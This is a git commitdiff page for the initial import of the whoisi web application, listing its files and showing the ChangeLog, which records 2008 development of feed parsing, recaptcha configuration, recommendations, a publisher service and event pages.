]> git.etc.gen.nz Git - whoisi.git/commitdiff
initial import from other repo
authorapache <apache@ae879524-a8bd-4c4c-a5ea-74d2e5fc5a2c>
Sat, 20 Sep 2008 03:53:32 +0000 (03:53 +0000)
committerapache <apache@ae879524-a8bd-4c4c-a5ea-74d2e5fc5a2c>
Sat, 20 Sep 2008 03:53:32 +0000 (03:53 +0000)
git-svn-id: svn://trac.whoisi.com/whoisi/trunk@1 ae879524-a8bd-4c4c-a5ea-74d2e5fc5a2c

259 files changed:
ChangeLog [new file with mode: 0644]
README.txt [new file with mode: 0644]
TODO.txt [new file with mode: 0644]
blacklist_rss.txt [new file with mode: 0644]
controller-1.cfg [new file with mode: 0644]
controller-service [new file with mode: 0755]
dev.cfg [new file with mode: 0644]
devdata.sqlite [new file with mode: 0644]
feed-parse-service [new file with mode: 0755]
firehose-client [new file with mode: 0755]
html-feed-scrape-service [new file with mode: 0755]
lib/__init__.py [new file with mode: 0644]
lib/feedparser.py [new file with mode: 0644]
master-dev.cfg [new file with mode: 0644]
master-service [new file with mode: 0755]
patches/README [new file with mode: 0644]
patches/feedparser-title.patch [new file with mode: 0644]
picasa-poll-service [new file with mode: 0755]
prod.cfg [new file with mode: 0644]
publisher-1.cfg [new file with mode: 0644]
publisher-service [new file with mode: 0755]
runtests.sh [new file with mode: 0755]
sample-prod.cfg [new file with mode: 0644]
services/__init__.py [new file with mode: 0644]
services/command/__init__.py [new file with mode: 0644]
services/command/base.py [new file with mode: 0644]
services/command/controller.py [new file with mode: 0644]
services/command/database.py [new file with mode: 0644]
services/command/delicious.py [new file with mode: 0644]
services/command/download.py [new file with mode: 0644]
services/command/exceptions.py [new file with mode: 0644]
services/command/feedparse.py [new file with mode: 0644]
services/command/flickr.py [new file with mode: 0644]
services/command/htmlscrape.py [new file with mode: 0644]
services/command/identica.py [new file with mode: 0644]
services/command/linkedin.py [new file with mode: 0644]
services/command/newsite.py [new file with mode: 0644]
services/command/newsite.txt [new file with mode: 0644]
services/command/picasa.py [new file with mode: 0644]
services/command/previewsite.py [new file with mode: 0644]
services/command/service.py [new file with mode: 0644]
services/command/setup.py [new file with mode: 0644]
services/command/siterefresh.py [new file with mode: 0644]
services/command/twitter.py [new file with mode: 0644]
services/command/utils.py [new file with mode: 0644]
services/command/xmlnode.py [new file with mode: 0644]
services/config/__init__.py [new file with mode: 0644]
services/master/__init__.py [new file with mode: 0644]
services/master/database.py [new file with mode: 0644]
services/master/feedrefresh.py [new file with mode: 0644]
services/master/flickr.py [new file with mode: 0644]
services/master/linkedin.py [new file with mode: 0644]
services/master/newsite.py [new file with mode: 0644]
services/master/picasa.py [new file with mode: 0644]
services/master/previewsite.py [new file with mode: 0644]
services/master/publisher.py [new file with mode: 0644]
services/master/refreshmanager.py [new file with mode: 0644]
services/master/sitelock.py [new file with mode: 0644]
services/master/states.txt [new file with mode: 0644]
services/master/worker.py [new file with mode: 0644]
services/protocol/__init__.py [new file with mode: 0644]
services/protocol/childlistener.py [new file with mode: 0644]
services/protocols.txt [new file with mode: 0644]
services/publisher/__init__.py [new file with mode: 0644]
services/publisher/lookup.py [new file with mode: 0644]
services/publisher/protocol.py [new file with mode: 0644]
services/publisher/server.py [new file with mode: 0644]
setup.py [new file with mode: 0644]
smoketest.txt [new file with mode: 0644]
sources/apple-touch-icon.png [new file with mode: 0644]
sources/favicon.ico [new file with mode: 0644]
sources/favicon.png [new file with mode: 0644]
sources/whoisi-100.png [new file with mode: 0644]
sources/whoisi-150.png [new file with mode: 0644]
sources/whoisi-200.png [new file with mode: 0644]
sources/whoisi-icon-mini.svg [new file with mode: 0644]
sources/whoisi-icon.svg [new file with mode: 0644]
start-test-db.py [new file with mode: 0755]
start-test-whoisi.sh [new file with mode: 0755]
start-whoisi.py [new file with mode: 0755]
test-ws.cfg [new file with mode: 0644]
test.cfg [new file with mode: 0644]
tests/__init__.py [new file with mode: 0644]
tests/nose/__init__.py [new file with mode: 0644]
tests/nose/data/linkedin/christopherblizzard [new file with mode: 0644]
tests/nose/data/linkedin/clarkbw [new file with mode: 0644]
tests/nose/data/linkedin/johnath [new file with mode: 0644]
tests/nose/data/linkedin/johnlilly [new file with mode: 0644]
tests/nose/data/linkedin/reidhoffman [new file with mode: 0644]
tests/nose/data/linkedin/reidhoffman_added [new file with mode: 0644]
tests/nose/data/linkedin/reidhoffman_empty [new file with mode: 0644]
tests/nose/data/linkedin/reidhoffman_removed [new file with mode: 0644]
tests/nose/data/linkedin/unknown [new file with mode: 0644]
tests/nose/test_linkedin.py [new file with mode: 0644]
tests/nose/test_newsite.py [new file with mode: 0644]
tests/twisted/__init__.py [new file with mode: 0644]
tests/twisted/database.py [new file with mode: 0644]
tests/twisted/local/__init__.py [new file with mode: 0644]
tests/twisted/local/data/GasteroProd [new file with mode: 0644]
tests/twisted/local/data/beef-2.rss2 [new file with mode: 0644]
tests/twisted/local/data/beef-no-ids-2.rss2 [new file with mode: 0644]
tests/twisted/local/data/beef-no-ids.rss2 [new file with mode: 0644]
tests/twisted/local/data/beef.rss2 [new file with mode: 0644]
tests/twisted/local/data/no-link.atom [new file with mode: 0644]
tests/twisted/local/data/relative-links.atom [new file with mode: 0644]
tests/twisted/local/test_commandmanager.py [new file with mode: 0644]
tests/twisted/local/test_feedparse.py [new file with mode: 0644]
tests/twisted/local/test_feedparse_perf.py [new file with mode: 0644]
tests/twisted/local/test_newsite.py [new file with mode: 0644]
tests/twisted/network/__init__.py [new file with mode: 0644]
tests/twisted/network/test_download.py [new file with mode: 0644]
tests/twisted/network/test_feedparse.py [new file with mode: 0644]
tests/twisted/network/test_feedrefresh.py [new file with mode: 0644]
tests/twisted/network/test_flickr.py [new file with mode: 0644]
tests/twisted/network/test_linkedin.py [new file with mode: 0644]
tests/twisted/network/test_linkedin_refresh.py [new file with mode: 0644]
tests/twisted/network/test_newsite.py [new file with mode: 0644]
tests/twisted/network/test_picasa.py [new file with mode: 0644]
tests/twisted/network/test_picasa_preview.py [new file with mode: 0644]
tests/twisted/network/test_picasa_refresh.py [new file with mode: 0644]
tests/twisted/network/test_previewsite.py [new file with mode: 0644]
utils/archive-site-history.py [new file with mode: 0755]
utils/clean_site_history_dups.py [new file with mode: 0755]
utils/clean_site_refresh.py [new file with mode: 0755]
utils/clean_tmp.sh [new file with mode: 0755]
utils/convert-display-cache.py [new file with mode: 0755]
utils/delete_user.py [new file with mode: 0755]
utils/follower_stats.py [new file with mode: 0755]
utils/query_everyone_perf.py [new file with mode: 0755]
utils/utils.cfg [new file with mode: 0644]
whoisi.egg-info/PKG-INFO [new file with mode: 0644]
whoisi.egg-info/SOURCES.txt [new file with mode: 0644]
whoisi.egg-info/dependency_links.txt [new file with mode: 0644]
whoisi.egg-info/not-zip-safe [new file with mode: 0644]
whoisi.egg-info/paster_plugins.txt [new file with mode: 0644]
whoisi.egg-info/requires.txt [new file with mode: 0644]
whoisi.egg-info/sqlobject.txt [new file with mode: 0644]
whoisi.egg-info/top_level.txt [new file with mode: 0644]
whoisi/__init__.py [new file with mode: 0644]
whoisi/api.py [new file with mode: 0644]
whoisi/config/__init__.py [new file with mode: 0644]
whoisi/config/app.cfg [new file with mode: 0644]
whoisi/config/log.cfg [new file with mode: 0644]
whoisi/controllers.py [new file with mode: 0644]
whoisi/json.py [new file with mode: 0644]
whoisi/model.py [new file with mode: 0644]
whoisi/release.py [new file with mode: 0644]
whoisi/search.py [new file with mode: 0644]
whoisi/source/flickr-blank-75x75.svg [new file with mode: 0644]
whoisi/static/css/style.css [new file with mode: 0644]
whoisi/static/css/style.css.orig [new file with mode: 0644]
whoisi/static/images/apple-touch-icon.png [new file with mode: 0644]
whoisi/static/images/event/add-tag-arrow.png [new file with mode: 0644]
whoisi/static/images/event/alias-link-arrow.png [new file with mode: 0644]
whoisi/static/images/event/edit-link-arrow.png [new file with mode: 0644]
whoisi/static/images/favicon.ico [new file with mode: 0644]
whoisi/static/images/header_inner.png [new file with mode: 0644]
whoisi/static/images/info.png [new file with mode: 0644]
whoisi/static/images/ok.png [new file with mode: 0644]
whoisi/static/images/sites/blogger16x16.gif [new file with mode: 0644]
whoisi/static/images/sites/delicious.png [new file with mode: 0644]
whoisi/static/images/sites/feed-icon-16x16.png [new file with mode: 0755]
whoisi/static/images/sites/flickr-blank-75x75.png [new file with mode: 0644]
whoisi/static/images/sites/flickr-favicon.gif [new file with mode: 0644]
whoisi/static/images/sites/home.png [new file with mode: 0644]
whoisi/static/images/sites/identica.png [new file with mode: 0644]
whoisi/static/images/sites/linkedin.gif [new file with mode: 0644]
whoisi/static/images/sites/picasa-favicon.png [new file with mode: 0644]
whoisi/static/images/sites/twitter.png [new file with mode: 0644]
whoisi/static/images/sites/white-16x16.jpg [new file with mode: 0644]
whoisi/static/images/sites/wikipedia.png [new file with mode: 0644]
whoisi/static/images/tg_under_the_hood.png [new file with mode: 0644]
whoisi/static/images/under_the_hood_blue.png [new file with mode: 0644]
whoisi/static/images/whoisi-100.png [new file with mode: 0644]
whoisi/static/images/whoisi-200.png [new file with mode: 0644]
whoisi/static/javascript/addform.js [new file with mode: 0644]
whoisi/static/javascript/follow.js [new file with mode: 0644]
whoisi/static/javascript/jquery.js [new file with mode: 0644]
whoisi/static/javascript/keys.js.in [new file with mode: 0644]
whoisi/static/javascript/person.js [new file with mode: 0644]
whoisi/static/tests/empty.html [new file with mode: 0644]
whoisi/static/tests/empty_feed.html [new file with mode: 0644]
whoisi/static/tests/empty_file.atom [new file with mode: 0644]
whoisi/static/tests/multiple_feeds.html [new file with mode: 0644]
whoisi/static/tests/no-feed-relative-links.atom [new file with mode: 0644]
whoisi/static/tests/no-feed-relative-links.html [new file with mode: 0644]
whoisi/static/tests/no-link.atom [new file with mode: 0644]
whoisi/static/tests/no-link.html [new file with mode: 0644]
whoisi/static/tests/one_entry.atom [new file with mode: 0644]
whoisi/static/tests/relative-feed-relative-links.atom [new file with mode: 0644]
whoisi/static/tests/relative-feed-relative-links.html [new file with mode: 0644]
whoisi/static/tests/relative-links.atom [new file with mode: 0644]
whoisi/static/tests/relative-links.html [new file with mode: 0644]
whoisi/static/tests/relative_feed.atom [new file with mode: 0644]
whoisi/static/tests/relative_feed.html [new file with mode: 0644]
whoisi/static/txt/robots.txt [new file with mode: 0644]
whoisi/summary.py [new file with mode: 0644]
whoisi/templates/__init__.py [new file with mode: 0644]
whoisi/templates/about.mak [new file with mode: 0644]
whoisi/templates/aliases-widget.mak [new file with mode: 0644]
whoisi/templates/api-top-doc.mak [new file with mode: 0644]
whoisi/templates/contact.mak [new file with mode: 0644]
whoisi/templates/delicious-widget.mak [new file with mode: 0644]
whoisi/templates/event.mak [new file with mode: 0644]
whoisi/templates/events.mak [new file with mode: 0644]
whoisi/templates/everyone.mak [new file with mode: 0644]
whoisi/templates/flickr-widget.mak [new file with mode: 0644]
whoisi/templates/follow-byname.mak [new file with mode: 0644]
whoisi/templates/follow-no-entries.mak [new file with mode: 0644]
whoisi/templates/follow.mak [new file with mode: 0644]
whoisi/templates/identica-widget.mak [new file with mode: 0644]
whoisi/templates/index.mak [new file with mode: 0644]
whoisi/templates/linkedin-widget.mak [new file with mode: 0644]
whoisi/templates/login-info.mak [new file with mode: 0644]
whoisi/templates/login-not-found.mak [new file with mode: 0644]
whoisi/templates/master.mak [new file with mode: 0644]
whoisi/templates/name-add-widget.mak [new file with mode: 0644]
whoisi/templates/name-remove-widget.mak [new file with mode: 0644]
whoisi/templates/name-update-widget.mak [new file with mode: 0644]
whoisi/templates/nofollow.mak [new file with mode: 0644]
whoisi/templates/person-add-confirm.mak [new file with mode: 0644]
whoisi/templates/person-add-pick-widget.mak [new file with mode: 0644]
whoisi/templates/person-add.mak [new file with mode: 0644]
whoisi/templates/person-widget.mak [new file with mode: 0644]
whoisi/templates/person.mak [new file with mode: 0644]
whoisi/templates/picasa-widget.mak [new file with mode: 0644]
whoisi/templates/recommendations.mak [new file with mode: 0644]
whoisi/templates/search-widget.mak [new file with mode: 0644]
whoisi/templates/search.mak [new file with mode: 0644]
whoisi/templates/site-add-error-widget.mak [new file with mode: 0644]
whoisi/templates/site-add-pick-widget.mak [new file with mode: 0644]
whoisi/templates/site-add-status-widget.mak [new file with mode: 0644]
whoisi/templates/site-add-widget.mak [new file with mode: 0644]
whoisi/templates/site-remove-widget.mak [new file with mode: 0644]
whoisi/templates/twitter-widget.mak [new file with mode: 0644]
whoisi/templates/unseen-no-entries.mak [new file with mode: 0644]
whoisi/templates/unseen.mak [new file with mode: 0644]
whoisi/templates/weblog-widget.mak [new file with mode: 0644]
whoisi/templates/welcome.kid [new file with mode: 0644]
whoisi/tests/__init__.py [new file with mode: 0644]
whoisi/tests/test_controllers.py [new file with mode: 0644]
whoisi/tests/test_model.py [new file with mode: 0644]
whoisi/utils/__init__.py [new file with mode: 0644]
whoisi/utils/display.py [new file with mode: 0644]
whoisi/utils/fast_api.py [new file with mode: 0644]
whoisi/utils/fast_follow.py [new file with mode: 0644]
whoisi/utils/fast_history.py [new file with mode: 0644]
whoisi/utils/flickr.py [new file with mode: 0644]
whoisi/utils/follow.py [new file with mode: 0644]
whoisi/utils/names.py [new file with mode: 0644]
whoisi/utils/picasa.py [new file with mode: 0644]
whoisi/utils/preview_site.py [new file with mode: 0644]
whoisi/utils/recaptcha.py [new file with mode: 0644]
whoisi/utils/recommendations.py [new file with mode: 0644]
whoisi/utils/site_history.py [new file with mode: 0644]
whoisi/utils/sites.py [new file with mode: 0644]
whoisi/utils/track.py [new file with mode: 0644]
whoisi/utils/twitter.py [new file with mode: 0644]
whoisi/utils/url_lookup.py [new file with mode: 0644]

diff --git a/ChangeLog b/ChangeLog
new file mode 100644 (file)
index 0000000..204eabf
--- /dev/null
+++ b/ChangeLog
@@ -0,0 +1,3944 @@
+2008-09-19  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/utils.cfg: New file for utils that includes database
+       config.
+
+       * Update all the config files to have bogus usernames and
+       passwords for final source release.
+
+2008-09-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/xmlnode.py: Add proper license information for
+       this file which was taken from the flickrapi code.  It's
+       MIT/python 2.5.
+
+2008-09-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * Add an MIT license to everything.
+
+2008-09-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * dev.cfg: Include a recaptcha private key placeholder.
+
+       * test-ws.cfg: Include a recaptcha private key placeholder.
+
+       * whoisi/utils/recaptcha.py (recaptcha_check_fail): Use the
+       recaptcha private key defined in the config.
+
+       * whoisi/templates/person.mak: Include keys.js.
+
+       * whoisi/templates/person-add.mak: Include keys.js.
+
+       * whoisi/templates/recommendations.mak: Include keys.js.
+
+       * whoisi/templates/search.mak: Make sure to include keys.js before
+       person.js.
+
+       * whoisi/static/javascript/keys.js.in: File to rename to keys.js
+       where you include your public key for recaptcha.
+
+       * whoisi/static/javascript/addform.js: Use the recaptcha public
+       key defined in keys.js.
+
+       * whoisi/static/javascript/person.js: Use the recaptcha public key
+       defined in keys.js.
+
+       * prod.cfg: Placeholder for recaptcha private key.
+
+       * start-whoisi.py: Warn about missing recaptcha private key.
+
+       * controller-1.cfg: Add placeholders for twitter + flickr account
+       info.
+
+       * tests/twisted/network/test_flickr.py (TestFlickr.test_NewFlickrCache):
+       This test is skipped right now because we don't have a way to pull
+       in the api key.
+
+       * services/command/flickr.py: Get the flickr api key from the
+       config file.
+
+       * services/command/download.py: Get the twitter username and
+       password from the config for the twitter download hack.  Also,
+       bonus bug fix - call clear_cache after urlparse.
+
+       * controller-service: Die if the config doesn't include api keys
+       for flickr or twitter.
+
+2008-09-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/archive-site-history.py: Fix the other three bugs that
+       were moving and deleting the wrong records.
+
+2008-09-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/archive-site-history.py (migrate_records): Argh, it
+       migrated all new records, not all old records.  Fail.
+
+2008-09-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (SiteHistoryArchive): Dummy entry for the
+       archive table.
+
+       * whoisi/controllers.py (Root.l): Pull a url out of the archive if
+       we have to - urls must live forever!
+
+2008-09-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * README.txt: Add site_type_idx index to the site table in a
+       pathetic attempt to get the initial flickr query to go faster.
+
+       * whoisi/utils/fast_history.py: All of these methods now pull out
+       the list of ids and then generate a custom query based on them.
+       Why?  Because mysql's query optimizer just can't get it right and
+       this is all primary key driven - it's _much_ faster.
+
+       * whoisi/templates/unseen.mak: Add the "Caught Up!" button.
+
+       * whoisi/controllers.py (Root.caughtup): Little method that
+       updates the last seen id when we're caught up.
+
+       * whoisi/controllers.py (Root.unseen): Go back to the old
+       behaviour of having a "Caught Up" button.
+
+       * utils/archive-site-history.py: Utility that archives old
+       site_history items so that we have a max of 100 items in the
+       database for any site.
+
+       * tests/twisted/network/test_newsite.py (TestNewSite.confirmRelativeLinksReddit):
+       The reddit urls keep changing - update the test to make it
+       generic.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.gotEntries):
+       Limit the number of entries to 99.
+
+       * services/command/picasa.py (Picasa.photoFeedForUser): Limit the
+       number of picasa results to 99.
+
+2008-08-31  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * README.txt: Add a bunch of new indexes required to make many of
+       the queries go fast.  Like, 4 mins to 0.05 seconds fast.
+
+       * whoisi/utils/fast_history.py: Update every call that uses
+       subqueries to use standard joins instead now that we have proper
+       indexes in place.
+
+       * whoisi/templates/index.mak: Remove beta-quality warning.  We're
+       doing fine.  Mostly.
+
+2008-08-30  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/clean_site_history_dups.py: Utility to scan the entire
+       site_history database and clean out duplicate entries for a site.
+       Takes a long time to run.
+
+2008-08-28  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_history.py (fast_recent_changes_for_follower):
+       Add a check to make sure we return None if there's no follower.
+       (fast_count_items_for_follower): Return None if nothing is
+       returned.
+       (fast_max_item_for_follower): Return None if nothing is returned.
+
+       * whoisi/templates/follow.mak: Remove the caught up link.
+
+       * whoisi/templates/login-info.mak: Limit width of the login
+       message to 60% wide as below.
+
+       * whoisi/templates/unseen.mak: Page for the unseen method.
+
+       * whoisi/templates/master.mak: For every page that is loaded
+       update the unread count.  Shouldn't be here, but it's fine for
+       now.
+
+       * whoisi/templates/unseen-no-entries.mak: New template for the
+       unseen page when there's nothing to show.
+
+       * whoisi/templates/follow-no-entries.mak: Hold the headline to 60%
+       wide to make sure it doesn't overrun the right hand nav info.
+
+       * whoisi/controllers.py (Root.follow): Remove the code from this
+       method that displays unseen bits and updates the counts.
+       (Root.unseen): Independent screen that shows the unseen items.
+
+2008-08-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.follow): When updating the
+       last_history value, make sure it's greater than the current value
+       to keep people from going backwards in time.
+
+2008-08-24  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_history.py (fast_recent_changes_for_follower):
+       Change this method so it can handle either recent changes or
+       unseen changes with different where clauses.
+       (fast_count_items_for_follower): Add this method to get the recent
+       number of changes for a particular person.
+       (fast_max_item_for_follower): Add this method to get the last item
+       from the database.  Used for follower initialization.
+
+       * whoisi/utils/follow.py: Add count_history() and last_history()
+       methods to get the values from the current follow object.
+
+       * whoisi/templates/follow.mak: Add a hook to display the caught up
+       link on the follow page.
+
+       * whoisi/templates/master.mak: On the sidebar show the unread
+       count.  Add a hook to the sidebar so on the follow page we can
+       show a "caught up" link.  Split various types of actions in the
+       sidebar into their own sections.
+
+       * whoisi/controllers.py (Root.follow): When loading the follow
+       page make sure that we set default values for unread + last item
+       seen.  If someone passes in caught_up and history_id set the
+       values in the database.  Update the unread count on each
+       load (need to fix this later.)  Also pass down the had_start value
+       to indicate if this was the main follow page or looking at old
+       history.  On old history pages we don't show the "caught up" link.
+
+       * whoisi/model.py (Follower): Add last_history and count_history
+       items for unread and last item seen.
+
+       * master-service (print_usage): Add the -p option for publishing
+       updates.
+
+2008-08-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.gotEntries):
+       When inserting a new entry make sure it's not already in the
+       database under a different entry_id.
+
+       * tests/twisted/network/test_newsite.py (TestNewSite.confirmRelativeLinksGitHub):
+       github now uses www.github.com in its feeds.  Update test.
+       (TestNewSite.confirmRelativeLinksReddit): reddit now uses
+       /comments/ for the top of the comments url in feeds.  Update test.
+
+2008-08-18  Joe Shaw <joe@joeshaw.org>
+
+       * whoisi/utils/recommendations.py (get_last_activity): Function to
+       get the last activity for a particular follower.
+
+       * whoisi/utils/recommendations.py (get_recommendations): Decay the
+       value of a particular follower if they haven't visited the site
+       recently.  Anything < 14 days is considered active.  Beyond that
+       there's a 45 day half-life.
+
+2008-08-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/publisher/protocol.py (PublisherProtocol.dataReceived):
+       Check the buffer for the buffer length check, not the line.  Also
+       always return if the header isn't found.  While we're here fix up
+       a couple of error messages to give more relevant information to
+       the other end.
+
+2008-08-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/api.py (ApiController.startRefresh): Add a new
+       startRefresh api that lets you start a site refresh from the
+       outside world.  Not public yet because it doesn't contain
+       protections against starting a billion refreshes.
+       
+2008-08-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/master.mak: Add an API link at the bottom of
+       every page.
+
+       * whoisi/templates/api-top-doc.mak: Add example scripts and clean
+       up a lot of the docs.  Add a table of contents at the top.
+
+2008-08-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/api.py (ApiController.getURLForTinyLink): Add a "title"
+       to the return dictionary for getURLForTinyLink().  Also return
+       url=None if the url isn't found.
+
+2008-08-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/publisher/protocol.py (PublisherProtocol.dataReceived):
+       Add some more useful error messages.
+
+2008-08-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * firehose-client: Add host + port arguments on the command line.
+
+2008-08-08  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * publisher-service (PublisherService): Deliver the returned
+       object to the client as-is.
+
+       * services/publisher/lookup.py (MasterLookupQueue): Select the
+       site history information we need from all the various tables and
+       put it into a big dictionary for delivery to clients.
+
+       * firehose-client (ClientProtocol.handleMessage): Decode the new
+       weblog message.
+
+2008-08-07  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * master-dev.cfg: Add entries for a publisher.
+
+       * publisher-service: Very simple publisher server that handles
+       multiple clients connected and will publish updates.  Should scale
+       a bit, but not too much.  Connects to the new lookup code, the new
+       publisher protocol and hooks it all together to publish simple
+       updates.
+
+       * master-service: Add a new publish argument to start and handle
+       -p on the command line to publish updates.
+
+       * publisher-1.cfg: Config file for a sample publisher.
+
+       * services/publisher/server.py: Some of the classes required to
+       run a publisher server.  Includes the server protocol code that
+       connects to the main PublisherService class provided by the
+       server.
+
+       * services/publisher/protocol.py: First pass at a protocol class
+       that's used by both client and server.  Handles most of the
+       control code and publishes state information when it changes.
+       Client and server should only have to override to a subset of
+       methods to get something that works pretty well.  (Messages are
+       limited to 128kb each for now.)
+
+       * services/publisher/lookup.py: Code for the publisher that looks
+       up database entries based on ID.  (Master just publishes an ID and
+       it's up to the publisher to turn that into a full message.)
+       Includes an incoming queue that is processed one entry at a time.
+
+       * services/master/database.py (DatabaseManager.getFlickrImages):
+       Only get images for flickr sites that haven't been removed.
+
+       * services/master/feedrefresh.py (FeedRefresh.done): Make sure to
+       return new site history items when we're done with a picasa
+       refresh.
+
+       * services/master/picasa.py (PicasaRefresh.done): Make sure to
+       return new site history items when we're done with a picasa
+       refresh.
+
+       * services/master/publisher.py: Very simple first pass at code
+       that connects and reconnects to publishing services.  Will publish
+       information about new site history and new site items.
+
+       * services/master/worker.py (get_work_hosts): Print out if we're
+       adding a controller host.
+       (WorkManager): Remove TODO information.
+
+       * controller-service: Print out a message on startup that says
+       which port the controller is listening on.
+
+       * firehose-client: First pass at a very simple firehose client
+       that just prints out messages that it gets from the server.  Needs
+       a huge amount of work.
+
+2008-07-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * master-dev.cfg: Defaults for master process.
+
+       * master-service: Use config file for startup.
+
+       * controller-1.cfg: Config file for controller.
+
+       * services/master/database.py: Get database info from config file.
+
+       * services/master/worker.py: Get work hosts from a config file.
+
+       * services/master/refreshmanager.py: Use config file for getting
+       refresh interval.
+
+       * services/config/__init__.py: Global config option.
+
+       * controller-service: Use a config file for config options.
+
+2008-07-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py (ProtoManager.start): We don't
+       need the command as an argument anymore when we start.  (It wasn't
+       used anyway.)
+
+       * services/command/siterefresh.py (RefreshSiteDone.done): Return
+       the site_history_new_ids if they are in the state.  Getting ready
+       for live updates.
+
+       * services/command/newsite.py (NewSiteDone.done): Return the
+       site_history_new_ids if they are in the state.  Getting ready for
+       live updates.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand): Track
+       the ids that we insert into the database.  They are put in the
+       state as "site_history_new_ids".
+
+       * services/master/previewsite.py (PreviewSite.startProcess):
+       preview-site -> previewSite, preview-linkedin -> previewLinkedIn,
+       preview-picasa -> previewPicasa.
+
+       * services/master/feedrefresh.py (FeedRefresh): feed-refresh ->
+       feedRefresh.
+
+       * services/master/picasa.py (PicasaRefresh): picasa-refresh ->
+       picasaRefresh.
+
+       * services/master/newsite.py (NewSite.startProcess): new-site ->
+       newSite, new-linkedin -> newLinkedIn, new-picasa, newPicasa.
+
+       * services/master/linkedin.py (LinkedInRefresh): Use
+       linkedInRefresh instead of linkedin-refresh.
+
+       * services/master/flickr.py (FlickrCache): Use flickrCache instead
+       of flickr-cache.
+
+       * services/master/worker.py (Worker.dispatchCommand): Use the name
+       of the method, pass the uuid and pass the command arguments
+       directly instead of serializing them into a string to be
+       re-parsed.  Much cleaner.
+
+       * controller-service (Controller): Change the doCommand + dispatch
+       to use individual methods by name.  This should make it possible
+       to use named arguments in the future and have per-method return
+       values.  Been meaning to do this for months.
+
+2008-07-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/txt/robots.txt: Don't allow robots to access the
+       api.
+
+2008-07-19  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/download.py (localDownloadPage): Use the whoisi
+       user, not the chrisblizzard user for twitter.
+
+2008-07-19  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/txt/robots.txt: Don't let robots go to
+       recommendations or genrecommendations.
+
+2008-07-19  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/recommendations.py: Code from Joe Shaw!  Generates
+       a nice list of recommendations based on the people you're
+       following.  Also contains the unused "most popular" code.
+
+       * whoisi/templates/recommendations.mak: Adapted from Joe's
+       original template.  Gives instructions if you're not following
+       anyone.  Offers to generate a list of recommendations if you are
+       following someone.  Once you have a list it will display it.
+
+       * whoisi/templates/master.mak: Add Recommendations to the list of
+       items on the right hand side.
+
+       * whoisi/controllers.py (Root.recommendations): Page that shows
+       recommendations (paged like the search page.)
+       (Root.genrecommendations): Page that generates recomemndations and
+       stuffs it into the database.
+
+       * whoisi/model.py (FollowerRecommendations): Add
+       FollowerRecommendations to keep track of recommendations.
+
+2008-07-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/aliases-widget.mak: Move the coding comment to
+       the top of the file so it doesn't end up in the output sent to the
+       client.  Oops.
+
+2008-07-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/aliases-widget.mak: Expand group and event
+       aliases to point to search and/or event pages.
+
+       * whoisi/utils/display.py (is_event_alias): Add is_event_alias and
+       is_group_alias which hand back the search or event string if it's
+       one of those kinds of aliases.
+
+2008-07-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (PeopleEvent): Add a banner item.
+
+       * whoisi/controllers.py (Root.e): Add a banner if it's set.
+
+       * whoisi/templates/event.mak: Add a banner to the top of the page
+       if it's set.
+
+2008-07-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/download.py (localDownloadPage): Jam my
+       personal username and password into a request if it is for a
+       twitter.com account.  I have never felt so dirty in all of my
+       life.  Except for that time with the Nun.  But nevermind about
+       that.
+
+2008-07-16  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/follow-no-entries.mak: Limit width to 60%.
+
+       * README.txt: Add an index to the name table.
+
+       * whoisi/utils/fast_history.py (fast_recent_changes_for_event):
+       Timeline for an event.
+
+       * whoisi/templates/person-add.mak: Limit some of the text to 60%
+       width.
+
+       * whoisi/templates/master.mak: Add a link to the events page.
+
+       * whoisi/templates/event.mak: New template for events!
+
+       * whoisi/templates/search.mak: Don't show the "add someone to the
+       site" for people searching for groups or an event.  Also limit
+       some of the text to 60% width.
+
+       * whoisi/templates/events.mak: New events template that describes
+       what events are happening and how you add yourself to one of them.
+
+       * whoisi/templates/nofollow.mak: Set the width for some text to
+       60%.
+
+       * whoisi/controllers.py (Root.everyone): Remove call to
+       datetime.utcnow() that wasn't needed anymore.
+       (Root.e): New method for events!  Uses
+       fast_recent_changes_for_event()
+
+       * whoisi/model.py (PeopleEvent): Add a PeopleEvent item that
+       contains a list of events and if they are active.
+
